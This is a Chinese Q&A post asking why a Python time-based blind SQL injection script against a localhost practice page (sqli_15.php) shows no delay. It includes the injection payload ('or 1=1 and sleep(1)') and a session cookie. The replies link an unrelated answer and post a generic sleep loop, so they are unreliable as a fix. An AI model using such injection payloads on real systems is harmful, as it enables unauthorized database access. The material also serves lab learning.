sql时间盲注脚本(python实现)中未出现时间延迟
import requests
import time
st=time.time()
print(st)
res=requests.get("http://localhost:9999/sqli_15.php?title=s'+or+1=1+and+sleep(1)+#+&action=search",{"Cookie":"security_level=0; PHPSESSID=4sg0nucv70bhulmtrs0du0avk2"})
print(res.raise_for_status)
if time.time() - st > 1:
print(1)
else:
print(0)
print(time.time())
1666677336.2546937
0
1666677336.270689
解决python中没有sleep的问题
这个报错,你可参考这个示例,期望对你有所帮助:https://stackoverflow.com/questions/36240495/bound-method-response-json-of-response-200
python触发3s延时
import time
import datetime
for i in range(0,5):
print(i)
print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))
time.sleep(3)